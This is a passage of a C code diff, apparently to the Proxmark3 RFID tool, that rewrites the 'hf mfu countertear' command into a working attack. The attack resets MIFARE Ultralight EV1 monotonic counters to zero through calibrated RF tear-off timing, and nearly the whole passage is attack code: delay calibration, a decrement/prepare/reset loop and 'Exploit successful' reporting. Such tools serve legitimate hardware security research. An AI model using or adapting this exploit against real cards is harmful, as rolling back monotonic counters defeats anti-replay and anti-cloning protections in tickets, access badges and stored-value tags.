{ + PrintAndLogEx(FAILED, "Support only Mifare UL EV1 cards"); return PM3_ESOFT; } + + if (mfu_cnt_repair_tear(counter) == false) { + uint8_t tear = 0; + mfu_cnt_check_tearing(counter, &tear); + char tstr[4]; + mfu_cnt_tearfmt(tear, tstr, sizeof(tstr)); + PrintAndLogEx(FAILED, "Could not repair tear flag (got 0x%s)", tstr); + return PM3_ESOFT; + } + + if (mfu_cnt_check_tearing(counter, tearing) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Card does not support CHECK_TEARING_EVENT"); + return PM3_ESOFT; + } + + int val = 0; + if (mfu_cnt_read(counter, &val) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Cannot read initial counter"); + return PM3_ESOFT; + } + if (val == MFU_CNT_MAX) { + PrintAndLogEx(FAILED, "Counter is at maximum (0x%06X), cannot reset", MFU_CNT_MAX); + return PM3_ESOFT; + } + if (val == 0) { + PrintAndLogEx(FAILED, "Counter is already at minimum (0)"); + return PM3_ESOFT; + } + + char hexstr[7]; + mfu_cnt_hex(val, hexstr); + char tstr[4]; + mfu_cnt_tearfmt(*tearing, tstr, sizeof(tstr)); + PrintAndLogEx(INFO, "Counter " _YELLOW_("%u") ": " _YELLOW_("%d") " (0x" _YELLOW_("%s") ") | Tear: 0x%s" + , counter + , val + , hexstr + , tstr + ); + + *counter_val = val; return PM3_SUCCESS; } +static int mfu_cnt_calibrate(uint8_t counter, int *delay_bd_out, int *delay_00_out) { + int best_bd = -1; + for (int delay_bd = MFU_CNT_DELAY_BD_MIN; delay_bd < MFU_CNT_DELAY_BD_MAX; delay_bd += MFU_CNT_DELAY_BD_STEP) { + if (kbd_enter_pressed()) { + // script: return (best_bd, None) -> caller interrupts or fails silently + *delay_bd_out = best_bd; + return PM3_EOPABORTED; + } + + int initial = 0; + if (mfu_cnt_read(counter, &initial) != PM3_SUCCESS) { + mfu_cnt_repair_tear(counter); + continue; + } + + mfu_cnt_tear_on(delay_bd); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + + uint8_t tear = 0; + mfu_cnt_check_tearing(counter, &tear); // 0x00 / 0xBD / 0xFF placeholder + bool check_tearing = (tear == 0xBD); // script: tearing == "BD" + + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + + int final_val = 0; + if (mfu_cnt_read(counter, &final_val) != PM3_SUCCESS) { + mfu_cnt_repair_tear(counter); + continue; + } + + char ihex[7], fhex[7]; + mfu_cnt_hex(initial, ihex); + mfu_cnt_hex(final_val, fhex); + char tearstr[16]; + if (check_tearing) { + snprintf(tearstr, sizeof(tearstr), _GREEN_("BD")); + } else if (tear == 0x00) { + snprintf(tearstr, sizeof(tearstr), _RED_("00")); + } else { + snprintf(tearstr, sizeof(tearstr), _RED_("?")); + } + PrintAndLogEx(NORMAL, "\r[=] Testing delay: " _YELLOW_("%d") " us | Check tearing: %s | Counter: " _YELLOW_("%s") " -> " _YELLOW_("%s") NOLF + , delay_bd + , tearstr + , ihex + , fhex + ); + + if (check_tearing) { + best_bd = delay_bd; + if (final_val == initial) { // stable + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Working BD delay: " _GREEN_("%d") " us", delay_bd); + *delay_bd_out = delay_bd; + int delay_00 = delay_bd - MFU_CNT_DELAY_00_OFFSET; + *delay_00_out = (delay_00 < MFU_CNT_DELAY_BD_MIN) ? MFU_CNT_DELAY_BD_MIN : delay_00; + return PM3_SUCCESS; + } + } + } + + if (best_bd > -1) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "Counter drift during calibration; using last BD delay: " _GREEN_("%d") " us", best_bd); + *delay_bd_out = best_bd; + int delay_00 = best_bd - MFU_CNT_DELAY_00_OFFSET; + *delay_00_out = (delay_00 < MFU_CNT_DELAY_BD_MIN) ? MFU_CNT_DELAY_BD_MIN : delay_00; + return PM3_SUCCESS; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(FAILED, "Auto-calibration failed; try manual --DelayBD 2720"); + return PM3_ESOFT; +} + +static int mfu_cnt_attack_loop(uint8_t counter, int *delay_bd_out, int *delay_00_out) { + int delay_bd = *delay_bd_out; + int delay_00 = *delay_00_out; + + int phase = MFU_CNT_PHASE_DECREMENT; + uint32_t attempt = 0; + uint32_t reset_attempts = 0; + bool delay_locked = false; + + int tune_reference = 0; + int reset_reference = 0; + int counter_val = 0; + if (mfu_cnt_read(counter, &counter_val) == PM3_SUCCESS) { + tune_reference = counter_val; + reset_reference = counter_val; + } + + while (kbd_enter_pressed() == false) { + + if (mfu_cnt_read(counter, &counter_val) != PM3_SUCCESS) { + mfu_cnt_repair_tear(counter); + msleep(MFU_CNT_RETRY_SLEEP_MS); + continue; + } + + if (counter_val == 0) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Exploit successful"); + *delay_bd_out = delay_bd; + *delay_00_out = delay_00; + return PM3_SUCCESS; + } + + if (counter_val == MFU_CNT_STUCK_VALUE) { + mfu_cnt_repair_tear(counter); + continue; + } + + if (phase == MFU_CNT_PHASE_DECREMENT) { + + if (counter_val <= MFU_CNT_PREPARE_TARGET) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Switching to PREPARE phase (counter <= 0x%06X)", MFU_CNT_PREPARE_TARGET); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + msleep(MFU_CNT_RETRY_SLEEP_MS); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + phase = MFU_CNT_PHASE_PREPARE; + reset_reference = counter_val; + continue; + } + + int initial = counter_val; + char ihex[7]; + mfu_cnt_hex(initial, ihex); + mfu_cnt_decrement_step(counter, delay_bd, delay_00); + + if (kbd_enter_pressed()) { + break; + } + + int final_val = 0; + if (mfu_cnt_read(counter, &final_val) != PM3_SUCCESS) { + continue; + } + + if (final_val == MFU_CNT_STUCK_VALUE) { + continue; + } + + uint8_t tear = 0; + mfu_cnt_check_tearing(counter, &tear); // 0x00 / 0xBD / 0xFF placeholder + char fhex[7]; + char tearstr[4]; + mfu_cnt_tearfmt(tear, tearstr, sizeof(tearstr)); + mfu_cnt_hex(final_val, fhex); + + attempt++; + PrintAndLogEx(NORMAL, "\r" _RED_("[DEC]") " Att %u | BD/00: %d/%d us | Tear: %s | %s -> %s " NOLF + , attempt + , delay_bd + , delay_00 + , tearstr + , ihex + , fhex + ); + + if (final_val < initial && final_val != MFU_CNT_STUCK_VALUE) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Decrement! %s -> %s (delta %d)", ihex, fhex, initial - final_val); + // consolidate the drop by normalizing tear flag + mfu_cnt_normalize_tear(counter); + delay_locked = true; + tune_reference = final_val; + continue; + } + + // tune the delay depending on the counter movement + if (final_val > initial) { + if (delay_locked) { + delay_locked = false; + tune_reference = final_val; + } else { + int new_delay = mfu_cnt_tune_delay(delay_bd, tune_reference, final_val, false); + if (new_delay != delay_bd) { + delay_bd = new_delay; + // delay_00 is intentionally not changed; only BD is adjusted + } + tune_reference = final_val; + } + } else { + if (delay_locked == false) { + int new_delay = mfu_cnt_tune_delay(delay_bd, tune_reference, final_val, false); + if (new_delay != delay_bd) { + delay_bd = new_delay; + } + tune_reference = final_val; + } + } + + } else if (phase == MFU_CNT_PHASE_PREPARE) { + + if (counter_val < MFU_CNT_PREPARE_TARGET && counter_val != MFU_CNT_STUCK_VALUE) { + int diff = MFU_CNT_PREPARE_TARGET - counter_val; + // INCREASE takes the value little endian (LSB first) + const uint8_t payload[3] = { + (uint8_t)(diff & 0xFF), + (uint8_t)((diff >> 8) & 0xFF), + (uint8_t)((diff >> 16) & 0xFF) + }; + PrintAndLogEx(NORMAL, "\r" _YELLOW_("[PREPARE]") " Incrementing by %d to reach 0x%06X..." NOLF + , diff + , MFU_CNT_PREPARE_TARGET + ); + mfu_cnt_incr(counter, payload); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + continue; + } + + if (counter_val == MFU_CNT_PREPARE_TARGET) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Counter at 0x%06X, switching to RESET phase", MFU_CNT_PREPARE_TARGET); + phase = MFU_CNT_PHASE_RESET; + reset_attempts = 0; + reset_reference = MFU_CNT_PREPARE_TARGET; + delay_locked = false; + continue; + } + + phase = MFU_CNT_PHASE_DECREMENT; + continue; + + } else { // MFU_CNT_PHASE_RESET + + int initial = counter_val; + char ihex[7]; + mfu_cnt_hex(initial, ihex); + mfu_cnt_reset_step(counter, delay_bd, delay_00); + + if (kbd_enter_pressed()) { + break; + } + + int final_val = 0; + if (mfu_cnt_read(counter, &final_val) != PM3_SUCCESS) { + continue; + } + + if (final_val == MFU_CNT_STUCK_VALUE) { + continue; + } + + reset_attempts++; + + char fhex[7]; + mfu_cnt_hex(final_val, fhex); + PrintAndLogEx(NORMAL, "\r" _GREEN_("[RESET]") " Att %u | BD/00: %d/%d us | %s -> %s " NOLF + , reset_attempts + , delay_bd + , delay_00 + , ihex + , fhex + ); + + if (final_val == 0) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Exploit successful"); + *delay_bd_out = delay_bd; + *delay_00_out = delay_00; + return PM3_SUCCESS; + } + + if (final_val > MFU_CNT_PREPARE_TARGET) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Counter increased, returning to DECREMENT"); + phase = MFU_CNT_PHASE_DECREMENT; + tune_reference = final_val; + delay_locked = false; + continue; + } + + if (final_val == initial) { + int new_delay = mfu_cnt_tune_delay(delay_bd, reset_reference, final_val, false); + if (new_delay != delay_bd) { + delay_bd = new_delay; + } + reset_reference = final_val; + } else if (final_val < initial) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Reset decrement! %s -> %s (delta %d)", ihex, fhex, initial - final_val); + delay_locked = true; + reset_reference = final_val; + } + // else final_val slightly higher but still within range - ignore + } + } + + *delay_bd_out = delay_bd; + *delay_00_out = delay_00; + return PM3_EOPABORTED; +} static int CmdHF14AMfuEv1CounterTearoff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfu countertear", - "Tear-off test against a Ev1 counter", - "hf mfu countertear -c 0 -> target counter 0\n" - "hf mfu countertear -c 0 -s 200 -> target counter 0, start delay 200\n" - "hf mfu countertear -c 0 -x 020000 -> target counter 0, increasing the counter by 2 bytes\n" + "Reset a MIFARE Ultralight EV1 monotonic counter with the tear-off technique\n" + "Port of the pyscript mfuev1_counter_reset.py, based on Quarkslab research", + "hf mfu countertear -c 0\n" + "hf mfu countertear -c 0 -f\n" + "hf mfu countertear -c 0 --DelayBD 2720 --Delay00 2705\n" ); void *argtable[] = { arg_param_begin, - arg_int0("c", "cnt", "<0,1,2>", "Target this EV1 counter (0,1,2)"), - arg_int0("i", "inc", "", "time interval to increase in each iteration - default 10 us"), - arg_int0("l", "limit", "", "test upper limit time - default 3000 us"), - arg_int0("s", "start", "", "test start time - default 500 us"), - arg_int0(NULL, "fix", "", "test fixed loop delay"), - arg_str0("x", "hex", NULL, "3 byte hex to increase counter with - default 010000"), + arg_int0("c", "cnt", "<0-2>", "Target this EV1 counter (0,1,2)"), + arg_lit0("f", "force", "Skip pre-flight checks"), + arg_int0(NULL, "DelayBD", "", "Manual BD delay (us, disables auto-calibration)"), + arg_int0(NULL, "Delay00", "", "Manual 00 delay (us)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int interval = 0; - int time_limit, start_time = 0; int counter = arg_get_int_def(ctx, 1, 0); - int fixed = arg_get_int_def(ctx, 5, -1); - - if (fixed == -1) { - interval = arg_get_int_def(ctx, 2, 10); - time_limit = arg_get_int_def(ctx, 3, 3000); - start_time = arg_get_int_def(ctx, 4, 500); - } else { - start_time = fixed; - interval = 0; - time_limit = fixed; - } - - uint8_t newvalue[5] = {0}; - int newvaluelen = 0; - CLIGetHexWithReturn(ctx, 6, newvalue, &newvaluelen); + bool force = arg_get_lit(ctx, 2); + int delay_arg_bd = arg_get_int_def(ctx, 3, -1); + int delay_arg_00 = arg_get_int_def(ctx, 4, -1); CLIParserFree(ctx); - // Validations - if (start_time > (time_limit - interval)) { - PrintAndLogEx(WARNING, "Wrong start time number"); - return PM3_EINVARG; - } - if (time_limit < interval) { - PrintAndLogEx(WARNING, "Wrong time limit number"); - return PM3_EINVARG; - } - if (time_limit > 65535) { - PrintAndLogEx(WARNING, "You can't set delay out of 1..65535 range!"); - return PM3_EINVARG; - } - uint8_t cnt_no = 0; + // validations if (counter < 0 || counter > 2) { PrintAndLogEx(WARNING, "Counter must 0, 1 or 2"); return PM3_EINVARG; } + // script does not validate the delays either; out-of-range values are + // silently rejected by the tear-off hook itself - cnt_no = (uint8_t)counter; + uint8_t cnt_no = (uint8_t)counter; - iso14a_card_select_t card; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, _CYAN_("Attack against the monotonic counters of MFU EV1 using the tear-off technique.")); + PrintAndLogEx(NORMAL, _CYAN_("Note: If the counter does not reset after a few attempts, increment it to 2^n and retry.")); - // reset counter tear - counter_reset_tear(&card, cnt_no); + int retval = PM3_SUCCESS; + int delay_bd = -1; + int delay_00 = 0; - if (ul_select(&card) == false) { - PrintAndLogEx(INFO, "failed to select card, exiting..."); - return PM3_ESOFT; + if (force == false) { + int cnt_val = 0; + uint8_t tear = 0; + if (mfu_cnt_preflight(cnt_no, &cnt_val, &tear) != PM3_SUCCESS) { + PrintAndLogEx(HINT, "Try `hf mfu countertear -f` if this is a false negative"); + retval = PM3_ESOFT; + goto exit; + } } - uint8_t initial_cnt[3] = {0, 0, 0}; - int len = ulev1_readCounter(cnt_no, initial_cnt, sizeof(initial_cnt), false); - if (len != sizeof(initial_cnt)) { - PrintAndLogEx(WARNING, "failed to read counter"); - return PM3_ESOFT; + if (delay_arg_bd == -1) { + // auto calibrate + int res = mfu_cnt_calibrate(cnt_no, &delay_bd, &delay_00); + if (res == PM3_EOPABORTED) { + if (delay_bd > -1) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "[x] Interrupted by user."); + } + // script: stops with no working delay leave silently + goto exit; + } + if (res != PM3_SUCCESS) { + retval = PM3_ESOFT; + goto exit; + } + if (delay_arg_00 != -1) { + delay_00 = delay_arg_00; + PrintAndLogEx(SUCCESS, "Using manual 00 delay: " _GREEN_("%d") " us", delay_00); + } + } else { + delay_bd = delay_arg_bd; + delay_00 = (delay_arg_00 != -1) ? delay_arg_00 : (delay_bd - MFU_CNT_DELAY_00_OFFSET); + PrintAndLogEx(SUCCESS, "Using manual BD delay: " _GREEN_("%d") " us", delay_bd); + if (delay_arg_00 != -1) { + PrintAndLogEx(SUCCESS, "Using manual 00 delay: " _GREEN_("%d") " us", delay_00); + } } - uint8_t initial_tear[1] = {0}; - len = ulev1_readTearing(cnt_no, initial_tear, sizeof(initial_tear)); - DropField(); - if (len != sizeof(initial_tear)) { - PrintAndLogEx(WARNING, "failed to read ANTITEAR, exiting... %d", len); - return PM3_ESOFT; - } - - PrintAndLogEx(INFO, "------------- " _CYAN_("MFU Ev1 Counter Tear off") " -------------"); - PrintAndLogEx(INFO, "Target counter no [ " _GREEN_("%u") " ]", counter); - PrintAndLogEx(INFO, "counter value [ " _GREEN_("%s") " ]", sprint_hex_inrow(initial_cnt, sizeof(initial_cnt))); - PrintAndLogEx(INFO, "anti-tear value [ " _GREEN_("%02X") " ]", initial_tear[0]); - PrintAndLogEx(INFO, "----------------------------------------------------"); - - uint8_t post_tear = 0; - uint8_t pre[3] = {0}; - uint8_t post[3] = {0}; - uint32_t a = 0, b = 0; - uint32_t loop = 0; - - uint8_t cntresp[3] = {0, 0, 0}; - uint8_t tear[1] = {0}; - int tlen = 0; - int delay_bd; - int delay_00; - char prestr[20]; - char poststr[20]; - int const_post = 0; - bool post_tear_check; - - counter_reset_tear(&card, cnt_no); - if (ul_select(&card) == false) { + if (mfu_cnt_attack_loop(cnt_no, &delay_bd, &delay_00) == PM3_EOPABORTED) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "BEFORE, failed to select card, exiting..."); - return PM3_ESOFT; - } - msleep(30); - - if (fixed == -1) { - for (delay_bd = start_time; delay_bd <= time_limit; delay_bd += interval) { - - if (kbd_enter_pressed()) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "\nAborted via keyboard!\n"); - return PM3_EOPABORTED; - } - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to select card, exiting..."); - return PM3_ESOFT; - } - msleep(30); - - memset(cntresp, 0, sizeof(cntresp)); - int rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp), false); - if (rlen == sizeof(cntresp)) { - memcpy(pre, cntresp, sizeof(pre)); - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to read COUNTER, exiting..."); - return PM3_ESOFT; - } - - struct p { - uint8_t counter; - uint32_t tearoff_time; - uint8_t value[3]; - } PACKED payload; - payload.counter = cnt_no; - payload.tearoff_time = delay_bd; - memcpy(payload.value, (uint8_t[]) {0x01, 0x00, 0x00}, sizeof(payload.value)); - - clearCommandBuffer(); - PacketResponseNG resp; - SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t *)&payload, sizeof(payload)); - if (WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "\nTear off command failed"); - return PM3_ESOFT; - } - - DropField(); - msleep(50); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to select card, exiting..."); - return PM3_ESOFT; - } - msleep(30); - - memset(cntresp, 0, sizeof(cntresp)); - rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp), false); - if (rlen == sizeof(cntresp)) { - memcpy(post, cntresp, sizeof(post)); - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read COUNTER, exiting..."); - return PM3_ESOFT; - } - - tear[0] = 0; - tlen = ulev1_readTearing(cnt_no, tear, sizeof(tear)); - if (tlen == sizeof(tear)) { - post_tear = tear[0]; - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); - return PM3_ESOFT; - } - - snprintf(poststr, sizeof(poststr), "%s", sprint_hex_inrow(post, sizeof(post))); - post_tear_check = (post_tear == 0xBD); - a = (pre[0] | pre[1] << 8 | pre[2] << 16); - b = (post[0] | post[1] << 8 | post[2] << 16); - PrintAndLogEx(INPLACE, "Delay: " _YELLOW_("%d") " Tear: %s Counter: " _YELLOW_("%s") "" - , delay_bd - , sprint_hex_inrow(tear, sizeof(tear)) - , poststr - - ); - - DropField(); - msleep(50); - - if (b != a && post_tear == 0xBD) { - if (b < a && b == 0) { - counter_reset_tear(&card, cnt_no); - counter_reset_tear(&card, cnt_no); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to select card, looping..."); - continue; - } - msleep(30); - - tear[0] = 0; - tlen = ulev1_readTearing(cnt_no, tear, sizeof(tear)); - if (tlen == sizeof(tear)) { - post_tear = tear[0]; - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); - continue; - } - post_tear_check = (post_tear == 0xBD); - PrintAndLogEx(INFO, "------------------- " _GREEN_("ZEROS value!") " -------------------"); - - PrintAndLogEx(SUCCESS, "Attempt: " _YELLOW_("%d"), loop); - PrintAndLogEx(SUCCESS, "Delay BD: " _YELLOW_("%d"), delay_bd); - PrintAndLogEx(SUCCESS, "Counter: %s -> " _GREEN_("%s"), prestr, poststr); - PrintAndLogEx(SUCCESS, "Tear status: 0x%02X ( %s )", - post_tear, - post_tear_check ? _GREEN_("OK") : _RED_("NOT OK")); - - PrintAndLogEx(INFO, "----------------------------------------------------"); - DropField(); - return PM3_SUCCESS; - } - const_post = b; - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "BD delay found: " _GREEN_("%d"), delay_bd); - DropField(); - break; - } - - } - } else if (fixed != -1) { - delay_bd = fixed; + PrintAndLogEx(NORMAL, "[x] Interrupted by user."); + goto exit; } - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "BEFORE, failed to select card, exiting..."); - return PM3_ESOFT; - } - msleep(30); - - for (delay_00 = 100; delay_00 <= 2000; delay_00 += 10) { - - if (kbd_enter_pressed()) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "\nAborted via keyboard!\n"); - return PM3_EOPABORTED; - } - - struct p { - uint8_t counter; - uint32_t tearoff_time; - uint8_t value[3]; - } PACKED payload; - payload.counter = cnt_no; - payload.tearoff_time = delay_00; - memcpy(payload.value, (uint8_t[]) {0x00, 0x00, 0x00}, sizeof(payload.value)); - - clearCommandBuffer(); - PacketResponseNG resp; - SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t *)&payload, sizeof(payload)); - if (WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "\nTear off command failed"); - return PM3_ESOFT; - } - - DropField(); - msleep(50); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to select card, exiting..."); - return PM3_ESOFT; - } - msleep(30); - - - tear[0] = 0; - tlen = ulev1_readTearing(cnt_no, tear, sizeof(tear)); - if (tlen == sizeof(tear)) { - post_tear = tear[0]; - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); - return PM3_ESOFT; - } - - post_tear_check = (post_tear == 0xBD); - - PrintAndLogEx(INPLACE, "Delay: " _YELLOW_("%d") " Tear: %s Counter: " _YELLOW_("%s") "" - , delay_00 - , sprint_hex_inrow(tear, sizeof(tear)) - , poststr - ); - if (post_tear == 0x00) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "00 delay found: " _GREEN_("%d"), delay_00); - DropField(); - break; - } - - } - - counter_reset_tear(&card, cnt_no); - counter_reset_tear(&card, cnt_no); - - while (true) { - - loop++; - - if (kbd_enter_pressed()) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "\nAborted via keyboard!\n"); - return PM3_EOPABORTED; - } - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to select card, looping..."); - continue; - } - msleep(30); - - memset(cntresp, 0, sizeof(cntresp)); - int rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp), false); - if (rlen == sizeof(cntresp)) { - memcpy(pre, cntresp, sizeof(pre)); - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to read COUNTER, exiting..."); - continue; - } - - struct p { - uint8_t counter; - uint32_t tearoff_time; - uint8_t value[3]; - } PACKED payload; - payload.counter = cnt_no; - payload.tearoff_time = delay_bd; - if (newvaluelen > 0) { - memcpy(payload.value, newvalue, sizeof(payload.value)); - } else { - memcpy(payload.value, (uint8_t[]) {0x01, 0x00, 0x00}, sizeof(payload.value)); - } - - clearCommandBuffer(); - PacketResponseNG resp; - SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t *)&payload, sizeof(payload)); - if (WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "\nTear off command failed"); - continue; - } - - DropField(); - msleep(50); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to select card, exiting..."); - continue; - } - msleep(30); - - payload.counter = cnt_no; - payload.tearoff_time = delay_00; - memcpy(payload.value, (uint8_t[]) {0x00, 0x00, 0x00}, sizeof(payload.value)); - - clearCommandBuffer(); - SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t *)&payload, sizeof(payload)); - if (WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "\nTear off command failed"); - continue; - } - - DropField(); - msleep(50); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to select card, looping..."); - continue; - } - msleep(30); - - memset(cntresp, 0, sizeof(cntresp)); - rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp), false); - if (rlen == sizeof(cntresp)) { - memcpy(post, cntresp, sizeof(post)); - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read COUNTER, exiting..."); - continue; - } - - tear[0] = 0; - tlen = ulev1_readTearing(cnt_no, tear, sizeof(tear)); - if (tlen == sizeof(tear)) { - post_tear = tear[0]; - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); - continue; - } - - snprintf(prestr, sizeof(prestr), "%s", sprint_hex_inrow(pre, sizeof(pre))); - - snprintf(poststr, sizeof(poststr), "%s", sprint_hex_inrow(post, sizeof(post))); - - post_tear_check = (post_tear == 0xBD); - a = (pre[0] | pre[1] << 8 | pre[2] << 16); - b = (post[0] | post[1] << 8 | post[2] << 16); - - // A != B - if (memcmp(pre, post, sizeof(pre)) != 0) { - - if (b < a) { - - PrintAndLogEx(NORMAL, ""); - - if (b == 0) { - counter_reset_tear(&card, cnt_no); - counter_reset_tear(&card, cnt_no); - - if (ul_select(&card) == false) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "BEFORE, failed to select card, looping..."); - continue; - } - msleep(30); - - tear[0] = 0; - tlen = ulev1_readTearing(cnt_no, tear, sizeof(tear)); - if (tlen == sizeof(tear)) { - post_tear = tear[0]; - } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); - continue; - } - post_tear_check = (post_tear == 0xBD); - - PrintAndLogEx(INFO, "------------------- " _GREEN_("ZEROS value!") " -------------------"); - - PrintAndLogEx(SUCCESS, "Attempt: " _YELLOW_("%d"), loop); - PrintAndLogEx(SUCCESS, "Delay BD/00: " _YELLOW_("%d/%d"), delay_bd, delay_00); - PrintAndLogEx(SUCCESS, "Counter: %s -> " _GREEN_("%s"), prestr, poststr); - PrintAndLogEx(SUCCESS, "Tear status: 0x%02X ( %s )", - post_tear, - post_tear_check ? _GREEN_("OK") : _RED_("NOT OK")); - - PrintAndLogEx(INFO, "----------------------------------------------------"); - break; - } - - else { - PrintAndLogEx(INFO, "----------------------- " _GREEN_("LESS") " -----------------------"); - - PrintAndLogEx(SUCCESS, "Attempt: " _YELLOW_("%d"), loop); - PrintAndLogEx(SUCCESS, "Delay BD/00: " _YELLOW_("%d/%d"), delay_bd, delay_00); - PrintAndLogEx(SUCCESS, "Counter: %s -> " _GREEN_("%s"), prestr, poststr); - PrintAndLogEx(SUCCESS, "Tear status: 0x%02X ( %s )", - post_tear, - post_tear_check ? _RED_("NOT OK") : _GREEN_("OK")); - - PrintAndLogEx(INFO, "----------------------------------------------------"); - continue; - } - - } - - } - - PrintAndLogEx(NORMAL, "\r" _YELLOW_("[ %d ]") " Delay BD/00: " _YELLOW_("%d/%d") " Counter: %s -> %s Tear: 0x%02X ( %s )" NOLF - , loop - , delay_bd - , delay_00 - , prestr - , poststr - , post_tear - , post_tear_check ? _RED_("NOT OK") : _GREEN_("OK") - ); - - if (loop % 20 == 0 && const_post == b && delay_bd != time_limit && fixed == -1) { - delay_bd += interval; - const_post = b; - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "BD delay increased " _GREEN_("%d"), delay_bd); - } else if (loop % 20 == 0 && b - const_post > 10 && delay_bd != start_time && fixed == -1) { - delay_bd -= interval; - const_post = b; - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "BD delay reduced " _RED_("%d"), delay_bd); - } - if (loop % 20 == 0) const_post = b; - - if (loop % 5 == 0 && post_tear_check) { - delay_00 += 5; - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "00 delay increased " _GREEN_("%d"), delay_00); - } - } - - DropField(); - msleep(50); - return PM3_SUCCESS; +exit: + // deactivate the tear-off hook on any exit path + mfu_cnt_tear_off(); + return retval; } // @@ -9126,7 +9231,7 @@ static command_t CommandTable[] = { {"keygen", CmdHF14AMfUKeyGen, AlwaysAvailable, "Generate DES/3DES/AES MIFARE diversified keys"}, {"pwdgen", CmdHF14AMfUPwdGen, AlwaysAvailable, "Generate pwd from known algos"}, {"otptear", CmdHF14AMfuOtpTearoff, IfPm3Iso14443a, "Tear-off test on OTP bits"}, - {"countertear", CmdHF14AMfuEv1CounterTearoff, IfPm3Iso14443a, "Tear-off test on Ev1/NTAG Counter bits"}, + {"countertear", CmdHF14AMfuEv1CounterTearoff, IfPm3Iso14443a, "Reset a Mifare UL EV1 counter with tear-off"}, {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("operations") " -----------------------"}, {"chk", CmdHF14AMfUAuthChk, IfPm3Iso14443a, "Ultralight C/AES - Authentication dictionary check"}, {"cauth", CmdHF14AMfUCAuth, IfPm3Iso14443a, "Ultralight-C - 